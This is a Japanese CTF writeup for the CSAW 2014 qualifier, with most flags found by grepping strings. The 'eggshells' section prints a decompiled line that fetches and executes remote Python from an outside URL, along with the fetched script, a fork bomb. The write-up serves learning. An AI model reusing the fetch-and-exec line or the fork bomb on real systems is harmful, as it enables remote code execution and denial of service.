CSAW CTF 2014 Qualification Round に参加しました
今年の CSAW CTF は、参加できる時間が限られていたので、基本に忠実にやりました。結局、あまり解けなかったのですが、折角なので writeup を書きます。
Writeup
bo (exploitation, 100 pt)
文字列検索です。
$ strings bo | grep flag\{
flag{exploitation_is_easy!}
eggshells (Reverse Engineering, 100 pt)
文字列検索です。
$ strings utils.pyc
urllib2s
http://kchung.co/lol.pyN(
__import__t
urlopent
read(
/Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.pyt
<module>
気づかなかった場合は pycdc という便利ツールを使います。
$ pycdc utils.pyc
# Source Generated with Decompyle++
# File: utils.pyc (Python 2.7)
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
いずれにしろ気づいてしまえば、素直にスクリプトをダウンロードするだけです。
$ curl http://kchung.co/lol.py
import os
while True:
try:
os.fork()
except:
os.system('start')
# flag{trust_is_risky}
dumpster diving (Forensics, 100 pt)
文字列検索です。
$ strings firefox.mem | grep flag\{
ZZZZZZZZflag{cd69b4957f06cd818d7bf3d61980e291}
Obscurity (Forensics, 200 pt)
文字列検索をやりますが PDF は圧縮されているのでテキストを抜き出す便利ツールを使います。
$ pdftotext pdf.pdf - | grep '\{'
ag{security_through_obscurity}
もしくは、リンク隠しの要領で PDF を全選択します。
Shameless plug (Trivia, 10 pt)
ググります。 USENIX workshop education
それっぽい答えをサブミットしまくります。
答えは 3GSE
です。
Twitter will you give me @kchung? (Trivia, 10 pt)
スタッフ紹介のページを見ると、答えが書いてあります。 poopsec
まとめ
大変残念な writeup が書き上がりましたが、もちろん、こんなに簡単に答えにたどり着いたわけではありません。つまり、色んな紆余曲折があったわけですが、答えを知った上でやり直してみると、簡単な問題はこんなにも簡単なのだな、という感じがします。
難しい問題にチャレンジすることは、もちろん重要だと思いますし、素晴らしい経験になると思います。しかし、競技として CTF を見た場合、簡単な問題をすらすら解ける能力というのも、大事であるように思われます。今後は、簡単な問題をすらすら解いて、難しい問題に時間を割けるようになりたいと思います。